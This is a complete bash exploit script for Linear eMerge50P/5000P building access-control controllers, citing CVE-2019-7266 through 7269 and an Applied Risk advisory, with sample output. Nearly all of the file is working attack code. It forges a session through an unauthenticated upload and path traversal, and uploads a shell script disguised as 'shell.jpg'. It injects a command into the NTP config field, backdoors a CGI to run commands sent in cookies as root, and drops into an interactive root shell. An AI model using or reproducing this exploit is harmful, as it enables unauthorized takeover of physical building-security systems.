Share
#!/bin/bash  
#  
# Full remote code execution exploit for the Linear eMerge50P/5000P 4.6.07  
# Including escalating to root privileges  
# CVE: CVE-2019-7266, CVE-2019-7267, CVE-2019-7268, CVE-2019-7269  
# Advisory: https://applied-risk.com/resources/ar-2019-006  
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system  
#   
# This script is tested on macOS 10.13.6  
# by Sipke Mellema  
#  
# usage: ./sploit.sh http://target  
#  
##########################################################################  
#  
# $ ./sploit.sh http://192.168.1.1  
#  
#  
# . . . . .  
# . . . . .   
# | |Linear eMerge50 4.6.07| |  
# | | | |  
# | |Remote code executionz| |  
# | | With priv escalation | |  
# | | Get yours today | |  
# | | | | |  
# | | Boomch | |  
# . . . . .   
# . . . . .   
#  
#  
#  
# [*] Checking connection to the target..  
# [V] We can connect to the server  
# [*] Checking if already infected..  
# [V] Target not yet infected..  
# [*] Creating custom session file..  
# [*] Uploading custom session file..  
# [V] Session file active!  
# [*] Retrieving CSRF token..  
# [V] CSRF_TOKEN: AI1R5ebMTZXL8Vu6RyhcTuavuaEbZvy9  
# [*] Uploading file..  
# [V] File successfully uploaded  
# [*] Writing new config..  
# [V] Wrote new config, restarting device  
# [*] Looks good! Waiting for device to reboot..  
# [V] Executing: whoami..  
# [V] Username found: root  
# [*] Cleaning up uploaded files..  
# [*] Removing fake backup file..  
# [*] Removing shell script..  
# [*] Files removed  
#  
# [*] If that worked, you can how execute commands via your cookie  
# [*] The URL is: http://192.168.1.1/cgi-bin/websrunnings.cgi  
# [*] Or type commands below ('quit' to quit)  
#  
# root@http://192.168.1.1$ id  
# uid=0(root) gid=0(root) groups=0(root)  
# root@http://192.168.1.1$ quit  
#  
##########################################################################  
  
RED='\033[0;31m'; BLUE='\033[0;34m'; GREEN='\033[0;32m'; NC='\033[0m'  
BANNER="  
\t . . . . .  
\t . . . . .   
\t| |${BLUE}Linear eMerge50 4.6.07${RED}| |  
\t| |${BLUE} ${RED}| |  
\t| |${BLUE}Remote code executionz${RED}| |  
\t| |${BLUE} With priv escalation ${RED}| |  
\t| |${BLUE} Get yours today ${RED}| |  
\t| |${BLUE} | ${RED}| |  
\t| |${BLUE} Boomch ${RED}| |  
\t . . . . .   
\t . . . . .   
${NC}  
"  
printf "\n${RED}${BANNER}\n\n"  
  
function echo_green {  
printf "${GREEN}[*] $@${NC}\n"  
}  
function echo_blue {   
printf "${BLUE}[V] $@${NC}\n"   
}  
function echo_red {   
printf "${RED}[-] $@${NC}\n"   
}  
  
function show_usage {  
echo -en "Usage: ./sploit.sh  
"  
}  
  
  
# check arguments  
if [ $# -eq 0 ]  
then  
echo_red "Incorrect parameters"  
show_usage  
exit  
fi  
  
  
# Define global paramters  
VULN_HOST=$1  
TEST_CMD="whoami"  
  
# ========================= Vuln 2: Session ID allows path traversal  
# Path traversal to session file injected as backup file  
SESSION_ID="../web/upload/system/backup.upg"  
  
  
function run_remote_shell {  
# shell is in the context of the lower privileged user called s2user  
# but the user has sudo rights  
# ========================= Vuln 5: Webserver runs as root  
TEST_CMD=''  
while read -p "${SPLOT_USERNAME}@${VULN_HOST}$ " TEST_CMD && [ "${TEST_CMD}" != "quit" ] ; do  
curl -s -k -H "Cookie: sudo $TEST_CMD" ${VULN_HOST}/cgi-bin/websrunnings.cgi  
echo ""  
done  
}  
  
# ========================= Pre-exploit checks  
  
# check connection  
echo_green "Checking connection to the target.."  
RESULT=`curl -sL -w "%{http_code}\\n" ${VULN_HOST} -o /dev/null --connect-timeout 3 --max-time 5`  
if [ "$RESULT" != "200" ] ;   
then  
echo_red "Could not connect to ${VULN_HOST} :(" ;  
exit  
fi  
echo_blue "We can connect to the server"  
  
# check already infected  
echo_green "Checking if already infected.."  
RESULT=`curl -sL -w "%{http_code}\\n" ${VULN_HOST}/cgi-bin/websrunnings.cgi -o /dev/null --connect-timeout 3 --max-time 5`  
if [ "$RESULT" == "200" ] ; then  
echo_blue "Target already seems to be infected"  
SPLOT_USERNAME=`curl -s -k -H "Cookie: sudo whoami" ${VULN_HOST}/cgi-bin/websrunnings.cgi`  
echo_blue "Username found: ${SPLOT_USERNAME}"  
read -p "Try shell directly? (Y/N)" TEST  
if [ "$TEST" == "Y" ] ; then  
echo_green "Trying direct shell.."  
run_remote_shell  
exit  
fi  
else  
echo_blue "Target not yet infected.." ;  
fi  
  
  
  
# ========================= Vuln 1: Sys update CGI script allows unauthenticated upg-file upload  
# Used to create file with the contents of a valid session file  
# Session file required a timestamp from < 3600 seconds ago  
# And a valid (remote) IP address  
  
echo_green "Creating custom session file.."  
# binary session file  
SESS_FILE_BIN_PRE="MzEzMzc4MDA4NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABTeXN0ZW0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEFkbWluaXN0cmF0b3IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYWRtaW4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="  
SESS_FILE_BIN_POST="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAEAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQUkxUjVlYk1UWlhMOFZ1NlJ5aGNUdWF2dWFFYlp2eTkAAAAAYtPxW0o/71s="  
# write session/backup file  
printf $SESS_FILE_BIN_PRE | base64 -D > backup.upg  
# write IP  
MY_IP=`curl -s https://api.ipify.org`  
printf ${MY_IP} >> backup.upg  
printf $SESS_FILE_BIN_POST | base64 -D >> backup.upg  
# replace timestamp  
python -c "import struct,time,sys; sys.stdout.write(struct.pack('<i',int(time.time()+(3600*5))))" | dd of=backup.upg bs=1 seek=1080 count=4 conv=notrunc 2> /dev/null  
# upload session as backup file  
echo_green "Uploading custom session file.."  
curl -s -F upload=@backup.upg ${VULN_HOST}/cgi-bin/uplsysupdate.cgi  
  
# check if session file works  
RESULT=`curl -s -w "%{http_code}\\n" --cookie ".sessionId=$SESSION_ID" ${VULN_HOST}/goform/foo -o /dev/null --connect-timeout 3 --max-time 5`  
if [ "$RESULT" != "200" ] ; then  
echo_red "Creating session file didn't seem to work :(" ;  
exit  
fi  
echo_blue "Session file active!"  
  
  
  
# ========================= Vuln 3: Image upload allows any file contents  
# We use it to upload a shell script  
# It will be run as root on startup  
  
# get csrf token  
echo_green "Retrieving CSRF token.."  
CSRF_TOKEN=`curl -s --cookie ".sessionId=$SESSION_ID" ${VULN_HOST}/frameset/ | grep -E -o 'csrft = "(.*)"' | awk -F '"' '{print $2}'`  
echo_blue "CSRF_TOKEN: $CSRF_TOKEN"  
  
if [ -z "$CSRF_TOKEN" ]; then  
echo_red "Could not get CSRF token :("  
exit  
fi  
  
# prepare file  
# this will run as root  
echo "cp /usr/local/s2/web/cgi-bin/websrunning.cgi /usr/local/s2/web/cgi-bin/websrunnings.cgi" > shell.jpg  
echo 'sed -i '"'"'s/echo "OK"/A=\`\$HTTP_COOKIE\`;printf "\$A"/'"'"' /usr/local/s2/web/cgi-bin/websrunnings.cgi' >> shell.jpg  
  
# upload file  
echo_green "Uploading file.."  
RESULT=`curl -s --cookie ".sessionId=$SESSION_ID" \  
-F "csrft=$CSRF_TOKEN" \  
-F "person=31337" \  
-F "file=@shell.jpg" \  
${VULN_HOST}/person/upload/ | grep -o "File successfully uploaded"`  
echo_blue $RESULT  
  
if [[ ! "$RESULT" =~ "successfully" ]]; then  
echo_red "Could not upload file :("  
exit  
fi  
  
  
  
# ========================= Vuln 4: Config allows command injection  
# Length is limited  
# Also, no spaces allowed  
  
# change config  
# the file in the config file will be run as root at startup  
echo_green "Writing new config.."  
curl -s ${VULN_HOST}/goform/saveS2ConfVals --cookie ".sessionId=$SESSION_ID" --data "timeserver1=a.a%24%28bash%3C%2Fusr%2Flocal%2Fs2%2Fweb%2Fupload%2Fpics%2Fshell.jpg%29&timeserver2=&timeserver3=&timezone=America%2FChicago&save=Save&urlOk=cfgntp.asp&urlError=cfgntp.asp&okpage=cfgntp.asp" > /dev/null  
echo_blue "Wrote new config, restarting device"  
  
# restart device  
RESULT=`curl -s --cookie ".sessionId=$SESSION_ID" ${VULN_HOST}/goform/restarts2Conf --data "changeNetwork=1" | grep -o "The proxy server could not handle the request"`  
# this is supposed to get returned (device rebooting)  
if [[ "$RESULT" =~ "could not handle the request" ]]; then  
echo_green "Looks good! Waiting for device to reboot.."  
sleep 20  
echo_blue "Executing: whoami.."  
SPLOT_USERNAME=`curl -s -k -H "Cookie: sudo whoami" ${VULN_HOST}/cgi-bin/websrunnings.cgi`  
echo_blue "Username found: ${SPLOT_USERNAME}"  
  
# cleanup  
echo_green "Cleaning up uploaded files.."  
echo_green "Removing fake backup file.."  
RESULT=`curl -s -k -H "Cookie: sudo rm /usr/local/s2/web/upload/system/backup.upg" ${VULN_HOST}/cgi-bin/websrunnings.cgi`  
echo_green "Removing shell script.."  
RESULT=`curl -s -k -H "Cookie: sudo rm /usr/local/s2/web/upload/pics/shell.jpg" ${VULN_HOST}/cgi-bin/websrunnings.cgi`  
echo_green "Files removed"  
  
# start shell  
echo ""  
echo_green "If that worked, you can now execute commands via your cookie"  
echo_green "The URL is: ${VULN_HOST}/cgi-bin/websrunnings.cgi"  
echo_green "Or type commands below ('quit' to quit)"  
echo ""  
  
run_remote_shell  
  
else  
echo_red "Exploit failed :("  
fi  
  
exit